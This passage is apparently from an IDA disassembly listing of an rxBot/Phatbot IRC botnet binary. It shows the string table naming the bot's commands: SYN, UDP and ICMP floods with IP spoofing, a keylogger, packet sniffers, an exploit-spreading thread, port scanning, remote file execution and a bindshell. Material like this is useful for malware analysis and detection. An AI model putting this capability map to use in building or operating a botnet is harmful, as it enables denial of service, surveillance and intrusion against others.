6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 